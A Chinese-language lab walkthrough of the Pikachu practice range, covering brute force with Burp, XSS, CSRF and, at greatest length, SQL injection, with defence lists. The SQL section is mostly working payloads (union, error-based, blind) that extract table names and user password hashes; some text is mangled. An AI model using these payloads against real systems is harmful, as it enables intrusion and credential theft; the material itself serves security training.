Burt Force(暴力破解漏洞)

漏洞概述

“暴力破解”是一种攻击手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

基于表单的暴力破解

登录测试,查看是否可以进行用户名枚举,发现回显账号密码不存在,无法枚举用户名

用burp抓取我们填写的表单数据,然后将抓取的数据包发送到Intruder模块

在Intruder模块中构造我们要进行爆破的数据包

构造好后,我们对两个payload导入我们的字典(字典可自己写,在日常中累积添加,靶场就使用一些常用的弱口令进行测试了)

再对password参数的payload进行添加

配置好后点击开始攻击

攻击结束后我们可以通过长度排序进行过滤查看是否有爆破成功登录

验证码绕过 (on server)

#–>此处的验证码可能你输正确也会提示验证码错,多尝试几个验证码

从登录界面可以看到,基于上面的表单多了验证码

我们先不填写验证码,使用burp抓包,并发送到Repeater模块进行重发测试

在重发器里发包后,在响应包的页面中提示验证码不能为空

在抓取填写验证码的数据,提示账号密码不存在

证明验证码在后端会校验是否有效,在password参数处修改其他密码进行发送测试

发现验证码可以重复使用(验证码的不过期或长时间不过期,时间足够我们去爆破,就会存在漏洞)

抓取填写账号密码和对的验证码的数据包并且不放包(不放包的目的是为了让它不过期),将这个数据包发送Intruder模块,其他步骤就和上面的表单爆破一样

在两个payload集添加我们的字典进行爆破攻击,再通过长度查看爆破结果

验证码绕过(on client)

正常访问登录页面发现也是存在验证码

将用户名密码验证码都填入抓包查看,发现直接弹窗验证码输入错误,属于前端JS验证码

对于前端JS验证码,我们可以通过删除源代码中的验证码或关闭浏览器的javascript让其验证码不生效进行绕过

方法一:删除源代码中的验证码输入

抓包发送到Repeater重发模块(当其能抓包时证明已经绕过了前端的验证码)

方法二:关闭浏览器的javascript(不知道关闭的,可以百度自己使用的浏览器在哪关闭)

关闭后,直接输入账号密码即可点击登录,抓包发送Intruder模块进行爆破

payload设置,添加字典到payload集,攻击结束通过长度排序查看,步骤和上面的表单爆破是一样的

token防爆破?

登录页面没了验证码,我们直接填写输入抓包查看,发现多了一个token

发送到Repeater重发测试,发送第二次提示csrf token error,证明此处有后端的校验,且每一次登录都有token用于登录认证

在burp中有正则匹配获取token,用于每次登录获取token,将抓取的数据包发送到Intruder模块

因为交叉模式并不会遍历每一个payload,所以最好是已知用户名,只爆破密码和token,密码的payload和先前一样直接导入字典

token的payload类型选择递归提取

在选项中下滑找到Grep-Extract然后点击添加

在弹出的提取框中点击获取响应

搜索token,找到token值,并选中

因为是递归grep,burp默认的爆破线程是10,所以需要修改为

爆破结束后,长度排序查看结果

暴力破解防御措施

1.强制用户使用强密码

2.设置登录次数限制,达到次数限制后锁定用户

3.使用多因素认证,短信、指纹、面部等等

4.使用第三方身份验证服务上

等等安全防御措施

XSS(跨站脚本漏洞)

漏洞概述

XSS漏洞,全称跨站脚本(Cross Site Scripting),攻击者利用此漏洞可向web页面(如input表单、URL、留言板等位置)插入恶意JavaScript代码。当管理员或用户访问这些页面时,恶意脚本会触发并执行,从而达到攻击者的目的。

一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

反射型xss(get)

反射型XSS,在正常的Web交互过程中,用户会在网页的输入框、URL参数等位置输入数据,这些数据随后会被发送到服务器进行处理。具体来说,攻击者会构造一个包含恶意JavaScript代码的URL或表单,并诱导用户点击或提交。当用户访问这个URL或提交表单时,恶意脚本会被发送到服务器。

访问页面是一个输入框,是get类型的表单

随便填入,发现URL中有我们填写的数据

将填写的数据改成xss的弹窗payload,发现成功弹窗

将payload构造成恶意javascript脚本,诱导用户点击该构造好的URL,从而获取用户的cookie等

反射性xss(post)

访问页面,从源代码中可以看到是一个登录的POST表单,且将表单数据发送到post_login.php

因此我们需要先进行登录,正常情况我们并不知道账号密码,可以进行爆破登录(这里测试直接跳过爆破,使用admin/123456进行登录),登录后表单为POST请求发送表单的数据

随意填写并抓包测试,或者直接使用浏览器插件hacker bar插件进行快速的post请求

POST请求的反射型XSS相对于GET请求更隐蔽,像这里的XSS是需要用户进行登录的,正常情况爆破不出账号密码我们是无法登录,我们可以在VPS上搭建一个恶意站点,在网站上放一个点击即可获取用户cookie等的POST表单,诱导用户点击我们恶意网站的POST表单,获取用户的cookie,从而使用用户登录成功的cookie进行登录等等利用方式。

存储型xss

存储型XSS攻击主要发生在用户能够输入数据到应用程序的地方,例如用户留言板、论坛、博客以及提交表单等。攻击者在这些地方发布或提交带有恶意代码的留言或数据,当这些数据被存储到服务器或数据库,并且被展示给其他用户时,恶意代码就会被执行。

访问是一个留言板,输入的数据会存储到服务器或数据库中,当我们输入的数据为恶意的脚本代码时,页面响应给用户时便会执行我们的恶意语句

不仅可以使用script标签,还可以等,且可以利用XSS平台或beef进行更深的危害利用

DOM型xss

DOM型XSS(Document Object Model Cross-Site Scripting)是一种特殊的跨站脚本攻击技术,它主要利用浏览器中的DOM(Document Object Model)来执行恶意脚本,进而引发安全漏洞。这种攻击方式不需要将恶意脚本传输到服务器再返回给客户端,而是直接在前端通过JS渲染来完成数据的交互,因此即使进行抓包也无法检测到相关的流量。而反射型与存储型需要与服务器交互,dom型不需要。

  1. 攻击者构造一个包含恶意脚本代码的URL或修改页面中的DOM元素,并将其发送给用户。
  2. 用户点击该URL或触发相应的DOM元素后,浏览器会解析并执行其中的恶意脚本代码。
  3. 恶意脚本代码在用户的浏览器环境中被执行,进而实现攻击者的目的,如窃取用户的敏感信息、篡改页面内容或执行其他恶意操作。

打开DOM型XSS页面,随便输入数据然后查看源代码

在源代码中可以看到,我们输入的内容在ID为text,通过提交按钮发送到domxss()函数。

function domxss(){

var str = document.getElementById(“text”).value;

document.getElementById(“dom”).innerHTML = “what do you see?”;

}

domxss函数的工作流程为:通过document.getElementById(“text”).value获取ID为text的元素并赋值给变量str,再通过document.getElementById(“dom”).innerHTML获取或修改ID为dom的元素的内部html内容,并设置ID为dom的内部内容为what do you see?,标签中的href属性设置为用户输入的str。

这段代码出问题的点就在于:用户在ID为text的输入框中输入了恶意内容(例如JavaScript代码),那么这段内容将直接插入到ID为dom的元素的innerHTML中,并且可能被执行。当其他用户访问这个页面时,如果他们的浏览器执行了这段恶意代码。

在了解了代码的运行原理后,我们通过闭合domxss函数中的href属性的值,实现弹窗以及恶意的脚本代码

'>

在源代码中可以看到,已经闭合且代码也构建了,但是并无弹窗,这是因为当浏览器解析到

这种时候我们可以通过URL伪协议javascript:来弹窗或执行其他的javascript脚本代码,javascript:它可以直接在网页中执行javascript代码。

通过输入javascript:alert(1),domxss函数将其填入ID为dom的元素中,在源代码中可以看到href属性已经插入成功,点击改链接后执行代码

除了使用特殊的URL伪协议,我们可以通过闭合的方式,使用其他标签以及事件进行利用

’ οnclick=alert(1)>闭合使用onclick事件,通过点击直接进行运行

也可闭合后使用标签搭配事件进行利用

'>

'><img src=1 onmouseover=alert(1)>

onclick 鼠标点击事件

ondblclick 鼠标双击事件

onmousedown 鼠标上的按钮被按下了

onmouseup鼠标按下后,松开时激发的事件

onmouseover 当鼠标移动到某对象范围的上方时触发的事件

onmousemove 鼠标移动时触发的事件

onmouseout 当鼠标离开某对象范围时触发的事件

onkeypress当键盘上的某个键被按下并且释放时触发的事件.[注意:页面内必须有被聚焦的对象]

onkeydown当键盘上某个按键被按下时触发的事件[注意:页面内必须有被聚焦的对象]

onkeyup 当键盘上某个按键被按放开时触发的事件[注意:页面内必须有被聚焦的对象]

等等

DOM型xss-x

与上面的dom型区别在于,他们的domxss函数中以及xss-x的用户数据提交使用get方式进行表单发送,简单来说就是domxss-x将我们输入的参数传入URL。

查看源代码

通过源码分析其函数运行原理过程:

function domxss(){

var str = window.location.search;

var txss = decodeURIComponent(str.split(“text=”)[1]);

var xss = txss.replace(/+/g,’ ');

// alert(xss);

document.getElementById(“dom”).innerHTML = “就让往事都随风,都随风吧”;

}

var str = window.location.search;为:获取当前URL的查询字符部分,然后赋值给str变量,例如http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=1,那么str的值就是?text=1。

var txss = decodeURIComponent(str.split(“text=”)[1]); 为:将str的值按text=进行分割,然后取索引为1的部分,也就是text参数的值,decodeURIComponent函数对该值进行解码,并赋值给txss。

var xss = txss.replace(/+/g,’ '); 为:将txss进行正则匹配过滤字符串中的+号也就是空格的编码,将替换过滤后的字符串存储赋值给xss变量。

document.getElementById(“dom”).innerHTML = “就让往事都随风,都随风吧”; 为:获取ID为dom的元素,然后将其元素内的内容设置为就让往事都随风,都随风吧,并将href属性设置为xss变量。

总结其运行原理就是我们传入的数据会以get方式的表单发送,也就是url传递,我们输入的数据会经过domxss函数的一系列处理最后设置到ID为dom的元素中。

它的利用方式和上面的dom是一样的,使用URL伪协议javascript:,也可以闭合使用标签或者事件进行利用。

javascript:alert(1)

闭合使用事件

’ οnclick=alert(1)>

也可以闭合后使用其他标签搭配事件进行利用

'>

'>

onclick 鼠标点击事件

ondblclick 鼠标双击事件

onmousedown 鼠标上的按钮被按下了

onmouseup鼠标按下后,松开时激发的事件

onmouseover 当鼠标移动到某对象范围的上方时触发的事件

onmousemove 鼠标移动时触发的事件

onmouseout 当鼠标离开某对象范围时触发的事件

onkeypress当键盘上的某个键被按下并且释放时触发的事件.[注意:页面内必须有被聚焦的对象]

onkeydown当键盘上某个按键被按下时触发的事件[注意:页面内必须有被聚焦的对象]

onkeyup 当键盘上某个按键被按放开时触发的事件[注意:页面内必须有被聚焦的对象]

等等

该形式的domXSS可以通过链接去诱导用户点击到达攻击者的目的

xss盲打

其盲打主要是我们上传的数据,会存储到管理员后台,也就是说我们上传的恶意数据会存储在后台,当管理员访问到该页面时便会执行我们的恶意脚本。

我们提交恶意脚本之后,模拟管理员登录,http://127.0.0.1/pikachu/vul/xss/xssblind/admin.php,账号密码为admin/123456。

存储型XSS的深度利用方式可以使用在线的XSS平台,或使用beef-xss平台进行

xss之过滤

在实战遇到XSS过滤,我们可以通过fuzz,找出被过滤的标签或事件。

在测试<script,查看是否为过滤的内容

通过回显可以确定,过滤内容为<script这些字符。

通过源码来学习一下该过滤的原理过程:

过滤的代码主要为:$message=preg_replace(‘/<(.)s(.)c(.)r(.)i(.)p(.)t/’, ‘’, $_GET[‘message’]);

使用正则匹配函数preg_replace()处理message传入的数据,这里的正则表达式’/<(.)s(.)c(.)r(.)i(.)p(.)t/'会匹配任何包含<、s、c、r、i、p、t字符的字符串,这些字符之间可以有任何字符(包括没有字符)。.代表任何字符,*代表前面的元素可以重复零次或多次。

简单来说就是对message传递的数据进行正则匹配,对指定的字符<、s、c、r、i、p、t进行替换为空

但由于其过滤不严谨,并无大小写转换,以及其他标签和事件没有过滤

,等等其他标签和事件

,大写绕过

xss之htmlspecialchars

htmlspecialchars() 将特殊字符转换为 HTML 实体。

字符是:

  • & (和号)成为 &
  • " (双引号)成为 ",除非设置了 ENT_NOQUOTES
  • ’ (单引号)成为 ‘置了 ENT_QUOTES 后, ’
  • < (小于)成为 <
  • (大于)成为 >

  • 常量类型:
  • ENT_COMPAT - 默认。仅转换双引号。
  • ENT_QUOTES - 转换双引号和单引号。
  • ENT_NOQUOTES - 单/双引号都不转换。
  • 等等

具体描述可以看官网:https://www.php.net/manual/zh/function.htmlspecialchars.php

输入’"<>进行测试,通过查看页面源代码查看转换,可以看到除了单引号都被实体编码了

'(单引号)未被编码我们通过单引号闭合href属性构造payload,或者直接使用javascript:

javascript:alert(1)

直接闭合href属性,’ οnclick='alert(1),闭合通过源代码查看结构

xss之href输出

测试是否有实体编码,是否有过滤等,测试结果显示单双引号('")、左右尖括号(<>)都被实体编码了

在测试是否有过滤等,发现最基本的script都没有过滤,这种情况猜测只使用了实体编码htmlspecialchars()并使用了ENT_QUOTES

对于这种情况我们可以尝试javascript:伪协议方式

javascript:alert(1)

xss之js输出

这一关卡主要是让我们学习当我们输入的数据直接传入js中如何利用。

照常测试,查看过滤和实体编码情况。

payload:'"<>script

可以看到我们输入的数据是直接在js代码中并无过滤,我们通过直接闭合该JS在创建我们恶意的弹窗JS代码

payload:

//这里讲输入动态的生成到了js中,形成xss

//javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义

//讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修?

//这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。

//所以在JS的输出点应该使用\对特殊字符进行转义

XSS防御措施

1.对用户输入数据进行转义验证

2.对输入的数据进行过滤,进行严谨的过滤,一些标签、事件、属性等等

3.使用HTTPOnly Cookie,将敏感信息(如会话ID)存储到httponly的cookie中,防止javascript脚本获取cookie

等等防御措施

CSRF(跨站请求伪造)

漏洞概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。

CSRF攻击的前提需要受害者处于成功登录状态,也就是需要受害者的权限才能进行操作

CSRF(get) login

为了测试CSRF,我们登录两个账号,kobe为受害者,vince为攻击者账号。

抓取vince修改个人信息的数据包,其参数传递是通过get方式

既然为get方式传递,且并无防护,那只要受害者kobe用户访问这个链接他的信息就会被修改为vince用户数据(数据可由自己控制修改)

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=asd18626545453&add=chain&email=vince@pikachu.com&submit=submit

在CSRF中,我们攻击的对象需要存在登录凭证,简单来说受害者访问该链接时是在该站点已登录状态

CSRF(post) login

造成登录两个用户,受害者kobe,攻击者vince

抓取攻击者vince的数据修改包,为post的请求方式,这时受害者无法直接通过链接访问了,我们需要站点搭建一个表单,诱导受害者进行点击

直接使用burp生成CSRF POC,也可以自己创建伪造

将其负责,搭建到我们的站点中,然后当受害者点击提交表单后,便会修改数据并跳转到修改页面

CSRF Token login

登录两个测试账号,kobe受害者、vince攻击者

抓取修改的vince数据包,发现请求中存在token

该token为每次访问修改数据页面时生成,且每次刷新都更新随机token,这导致vince获取的token无法匹配kobe获取的tokne,在验证token时无法通过,有效的防止了csrf,也因为该token长度够长无法进行伪造利用

CSRF防御措施

1.验证http请求中的referer字段,判断其来源(由于referer可以伪造或关闭并不是完全安全)

2.对于重要操作,如修改信息、转账等,使用验证码进行本人身份确认,例如修改密码,需要对旧密码进行判断,进行二次验证

3.在请求中添加token,强随机token,每次都不一样

4.设置会话的时效性,比如15分钟无操作,则自动登录超时退出

等等

SQL-Inject(SQL注入漏洞)

漏洞概述

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

数字型注入 (post)

所谓数字型注入,简单来说就是参数类型是数字,以参数传到SQL语句中

id= i d 数字型, i d = ′ id数字型,id=' id数字型,id=id’字符型

payload:

1 and 1=1

1 and 1=2

1 order by 3

1 order by 2

0 union select 1,2

0 union select 1,database()

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’

0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’

0 union select group_concat(username),group_concat(password) from users

一、判断类型

1 and 1=1

1 and 1=2

二、判断列数,判断正确页面正常,否则错误

1 order by 3

1 order by 2

三、查看是否有回显,有回显查看回显位置

0 union select 1,2

使用0的原因就是让其不回显正确数据

通过联合查询union select查看输出位置

四、查看当前数据库

0 union select 1,database()

五、查询当前数据库的表名

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’

六、查询pikachu数据库中表里的字段名

0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’

七、查询字段中的数据

0 union select group_concat(username),group_concat(password) from users

字符型注入(get)

payload:

asd’ order by 3 --+

asd’ order by 2 --+

asd’ union select 1,2 --+

asd’ union select 1,database() --+

asd’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’ --+

asd’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’–+

asd’ union select group_concat(username),group_concat(password) from users --+

搜索型注入

因为是搜索,所以是模糊查询的方式,和字符型差不多

先通过’(单引号)爆出数据库参数结构

然后闭合,asd%’ --+,发现回显正常了

接下来的步骤和字符型一样

payload:

asd%’ order by 4 --+

asd%’ order by 3 --+

asd%’ union select 1,2,3 --+

asd%’ union select 1,2,database() --+

asd%’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’ --+

asd%’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’–+

asd%’ union select 1,group_concat(username),group_concat(password) from users --+

xx型注入

一样的操作,先通过报错,猜测其闭合结构,在报错的信息中猜测其在SQL语句为(‘name’)

所以我们闭合为’)

payload:

asd’) order by 3 --+

asd’) order by 2 --+

asd’) union select 1,2 --+

asd’) union select 1,database() --+

asd’) union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘pikachu’ --+

asd’) union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘pikachu’ and table_name=‘users’–+

asd’) union select group_concat(username),group_concat(password) from users --+

insert/update注入

为数据库中的增和改,进行插入或更新的操作,因为是操作不是查询无法使用联合查询,通过报错注入的方式获取数据

常用报错方式有:

1.updatexml()

updatexml (XML_document, XPath_string, new_value);

第一个参数:XML_document这是一个包含 XML 数据的字符串。这个参数是函数操作的目标文档。通常,这应该是一个有效的 XML 文档。如果传入的不是一个有效的 XML 文档(例如一个数字 1),会导致函数报错,这在 SQL 注入攻击中常被利用来获取错误信息。

第二个参数:XPath_string 这是一个 XPath 表达式,用于指定 XML 文档中要查询或修改的部分。XPath 是一种用于在 XML 文档中查找信息的语言。正确的 XPath 表达式应该符合 XPath 语法并且能够被解析。如果传入的字符串不是有效的 XPath 表达式(例如一个数据库名称),会导致解析错误,这也是 SQL 注入攻击中常被利用的一个点。

第三个参数:new_value这是一个新的值,用于替换由 XPath 表达式指定的部分。如果 XPath 表达式有效且找到匹配的节点,这个值将替换该节点的内容。如果 XPath 表达式无效,new_value 参数的具体值通常不会影响报错行为,但它仍然是函数签名的一部分。

通过updatexml函数的报错机制获取数据库信息,例如下列SQL语句

select updatexml(1, database(), 0);

2.extractvalue()

extractvalue(XML_document, XPath_string)

该函数的两个参数与updatexml函数的前两个参数是一样的解释
例如数据库中通过报错机制获取信息:

3.floor()

在mysql中floor()函数为向下取整函数,例如select floor(4.7);,输出为4。

当与rand()和group by组合时,就可以构造报错注入

select 1 and (select 1 from (select count(*),count(database(),floor(rand(0)*2))x from information.schema.tables group by x)a);

对payload里的参数不了解的,可参考该视频学习:https://www.bilibili.com/video/BV1C34y1p76Z/?spm_id_from=333.337.search-card.all.click&vd_source=e5a2e1e11ceac574a991a95f51f6c5a8

例如:

insert注入,SQL语句为:insert into users (username, password) VALUES (‘ u s e r n a m e ′ , ′ username', ' username,password’);

当username和password来自用户的输入,并且无转义过滤等,攻击者就可以构造一个特殊的输入来执行额外的SQL命令,这种情况我们可以在username位置进行闭合并构造报错语句,

insert into users (username, password) VALUES (‘’ or updatexml(1,concat(0x7e,database(),0x7e),0) or ‘’, ‘$password’);

update注入,SQL语句为:update users set email =‘ n e w e m a i l ′ w h e r e u s e r n a m e = ′ new_email' where username =' newemailwhereusername=username’;

对于我们可以输入的$new_email,我们在此处进行闭合并构造报错语句,

update users set email =‘’ or updatexml(1,concat(0x7e,datebase(),0x7e),0) or ’ where username =‘$username’;

insert注入

在靶场中,我们来到注册页面,在用户名处进行单引号报错

单引号闭合,构造语句

payload: ’ or updatexml(1,concat(0x7e,database(),0x7e),0) or’

爆表,不能一次性显示所有表所以使用limit挨个查看,group_concat也显示不完全,最后破password字段会使用mid()函数,

payload:’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1),0x7e),0) or ’

’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 4,1),0x7e),0) or ’

爆字段,用users表举例,也是通过limit查看第二个第三个。。。。

payload:’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),0x7e),0) or’

’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),0x7e),0) or’

查看数据,username

payload:’ or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),0) or’

查数据,password字段,由于数据为md5太长显示不全,我们可以通过mid函数进行输出

select mid(column_name,start[,length]) FROM table_name

其中第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数

’ or updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),0) or’

payload:通过控制长度显示

’ or updatexml(1,concat(0x7e,mid((select password from users limit 0,1),1,31),0x7e),0) or’

’ or updatexml(1,concat(0x7e,mid((select password from users limit 0,1),32,31),0x7e),0) or’

update注入

随便注册个账号,进行登录,

在修改个人信息中,进行单引号报错

与insert注入大同小异,注入手法都是一样的,只是他们的源代码SQL语句不一样

同样的闭合并构造报错语句,这里用extractvalue()函数进行学习,也可以用其他报错函数

爆库,

payload:‘or extractvalue(1,concat(0x7e,database(),0x7e)) or’

爆表,和insert注入一样通过limit 读取其他表名

payload:‘or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) or’

爆字段,和insert注入一样通过limit 读取其他字段名

payload:‘or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),0x7e)) or’

爆数据,和insert注入一样通过mid 读取password字段数据,username可以通过limit获取第二第三个…用户名,password通过控制limit获取第一个第二个…用户的密码,密码长度太长无法一次显示完通过mid控制长度输出

username_payload:‘or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) or’

password_payload:

‘or extractvalue(1,concat(0x7e,mid((select password from users limit 0,1),1,31),0x7e)) or’

‘or extractvalue(1,concat(0x7e,mid((select password from users limit 0,1),32,31),0x7e)) or’

delete注入

删除也是操作,不是查询,需要通过报错的方式获取数据库信息

SQL语句:delete from message where id={$_GET[‘id’]}

由于对传入的id并无过滤转义等处理,导致存在注入

随机添加留言,抓包删除的数据包

get请求,所有的payload在burp中的空格需要转换为URL编码

爆库,

payload:56+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

爆表,和上面的insert、update注入一样,控制limit获取其他表名
payload:56+and+extractvalue(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),0x7e))

爆字段,

payload:56+and+extractvalue(1,concat(0x7e,(select+column_name+from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d’users’+limit+0,1),0x7e))

爆数据,和insert注入一样通过mid 读取password字段数据,username可以通过limit获取第二第三个…用户名,password通过控制limit获取第一个第二个…用户的密码,密码长度太长无法一次显示完通过mid控制长度输出

username_payload:56+and+extractvalue(1,concat(0x7e,(select+username+from+users+limit+0,1),0x7e))

password_payload:56+and+extractvalue(1,concat(0x7e,mid((select+password+from+users+limit+0,1),1,31),0x7e))

http头注入

http头注入与insert注入有些许相似,http头是获取http头的信息进行录入数据库或进行查询,但是未对传递的请求头数据进行验证转义,导致攻击者可以构造恶意请求头。

在靶场中,我们先进行账号登录,登录后抓包登录信息。

通过回显页面,我们可以在对应的user-agent或accept插入单引号测试

我们将单引号替换成我们构造的恶意报错注入语句

爆库:

’ or extractvalue(1,concat(0x7e,(select database()),0x7e)) or’

爆表:获取其他表名控制limit获取,例如limit 1,1

’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) or’

爆字段:获取其他字段名控制limit获取,例如limit 1,1

’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),0x7e)) or’

爆数据:username可以通过limit获取第二第三个…用户名

username_payload:

’ or extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) or’

password_payload:通过mid 读取password字段数据,password通过控制limit获取第一个第二个…用户的密码,密码长度太长无法一次显示完通过mid控制长度输出

’ or extractvalue(1,concat(0x7e,mid((select password from users limit 0,1),1,31),0x7e)) or’

’ or extractvalue(1,concat(0x7e,mid((select password from users limit 0,1),32,31),0x7e)) or’

基于boolian的盲注 (布尔盲注)

布尔盲注就是没有直接显示数据库错误信息或查询结果,通过观察页面内容的变化来进行判断注入语句是否成功,从而猜解数据库信息。

/***

由于手注较为繁琐,所以下面的学习都只是拿其中一个表或一个列进行演示

获取其他的表名和列名、数据等都是一样的操作

***/

我们正常进行用户名查询,输入kobe用户进行查看页面内容。

单引号查看回显情况,发现提示username不存在

在添加注释终止符#查看回显是否正常,get模式需要将符号进行转换成URL,# --> %23

在判断注入点,查看页面回显确定注入点,1=1为正常页面,1=2为错误页面

payload:

kobe’and+1=1%23

kobe’and+1=2%23

进行字段判断,2为正常,3为错误,两个字段

payload:

kobe’order+by+2%23

kobe’order+by+3%23

联合查询查看注入回显位置,发现无回显,报错注入也是无回显

payload:kobe’union+select+1,2%23

进行盲注,首先猜解数据库字符长度

payload:其中6和7为判断数据库名称长度,正常页面为正确长度,既7

kobe’and+length(database())%3d6%23

kobe’and+length(database())%3d7%23

长度猜解完成后,进行数据库名称猜解,我们需要通过ASCII值进行猜解

我们需要对数据库名称一个一个字符的猜解,由于在真实环境中,我们需要自己进行区间的测试,过程极为繁琐,所以在真实环境中遇到盲注一般情况都是使用sqlmap开跑,但是这里我们主要通过手注学习其方法。

一、布尔盲注爆库

**原数据库名_payload:**两个1分别代表起始位和长度,也就是数据库名称的第一位开始一个一个猜解

kobe’and ascii(substr(database(),1,1))>97 # 说明数据库名称第一位字符是在a之后

kobe’and ascii(substr(database(),1,1))<122 #,说明数据库名称在小写24个字母这个区间

kobe’and ascii(substr(database(),1,1))<110 #,报错,说明第一个字符大于这个数还在后面

kobe’and ascii(substr(database(),1,1))<115 #,正确,说明第一个字符在opqr这四个字符中

kobe’and ascii(substr(database(),1,1))=112 #,对四个字符进行测试,第一位为p

kobe’and ascii(substr(database(),2,1))=105 #,过程和第一位一样,第二位就把起始位改为2,为105,字符i

kobe’and ascii(substr(database(),3,1))=107 #,第三位就把起始位改为3,确定为107,字符k

以此类推,kobe’and ascii(substr(database(),7,1))=117 #,为u,最终数据库名称为pikachu

编码后payload:

kobe’and+ascii(substr(database(),1,1))>97+%23

kobe’and+ascii(substr(database(),1,1))<122+%23

kobe’and+ascii(substr(database(),1,1))<110+%23

kobe’and+ascii(substr(database(),1,1))<115+%23

kobe’and+ascii(substr(database(),1,1))%3d112+%23

kobe’and+ascii(substr(database(),2,1))%3d105+%23

kobe’and+ascii(substr(database(),3,1))%3d107+%23

以此类推,kobe’and+ascii(substr(database(),7,1))%3d117+%23,为u,最终数据库名称为pikachu

猜解完数据库后,我们需要猜解该数据库中有多少个表

二、布尔盲注爆表

payload:记得将特殊字符转换成URL编码

错误,说明不是一个,然后一个个往上试,直到6才显示正确,既有6个表

kobe’and (select count(table_name) from information_schema.tables where table_schema=‘pikachu’)=1 #

kobe’and (select count(table_name) from information_schema.tables where table_schema=‘pikachu’)=6 #

先猜解表的长度再猜解表名,用limit控制猜解哪个表名,这里拿第五个表users作为学习。

表名_payload:所有payload中的特殊字符需要转换为url编码

猜解第五个表的长度,表名长度为5位

kobe’ and length(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 4,1),1))=5 #

猜解第五个表的名称,过程和猜解数据库名称一样,只是条件语句变了

kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 4,1),1))>97 #

kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 4,1),1))<122 #

kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 4,1),1))=117 #

kobe’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘pikachu’ limit 4,1),2))=115 #

依此类推,一个一个通过区间缩小再进行字符确认,最后得出第五个表的表名为users。

得到表名后,我们要获取数据的话,需要知道列名的数量,在查询每个列名的长度,在进行列名猜解。

三、布尔盲注爆字段

列名_payload:

猜解users表内列名数量有多少,显示正确即为几,当为4时显示正常

kobe’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=4 #

猜解users表内列名长度,拿id进行举例

kobe’ and length(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1))=2 #

知道第一个列名的长度后,进行列名猜解

kobe’ and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1))=105 #

kobe’ and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),2))=100 #

105和100对应的ascii是id

四、布尔盲注爆数据内容

猜解数据_payload:

猜解列名为id,其列下数据第一条的长度

kobe’ and length(substr((select id from users limit 0,1),1))=1 # ----》第一条

kobe’ and length(substr((select id from users limit 1,1),1))=1 # ----》第二条 …依此类推

已知数据长度为1,进行猜解数据

kobe’ and ascii(substr((select id from users limit 0,1),1))=49 #

49对应的ascii为1

如果数据长度为2或3或4,我们就通过控制ascii中的数字递增猜解,例如

kobe’ and ascii(substr((select id from users limit 0,1),1))=49 # ------>第一个数据字符

kobe’ and ascii(substr((select id from users limit 0,1),2))=49 # ------>第二个数据字符

得到的数据就是11

像表内的其他字段,username、password等也是相同的操作方式进行获取,通过控制limit和ascii函数进行下一位猜解

基于时间的盲注

所谓时间盲注,就是存在注入的地方,无回显也无法通过页面进行判断,需要通过延迟时间来判断语句执行是否成功。

在靶场中可以看到,无论我们输入什么都是提示i don’t care

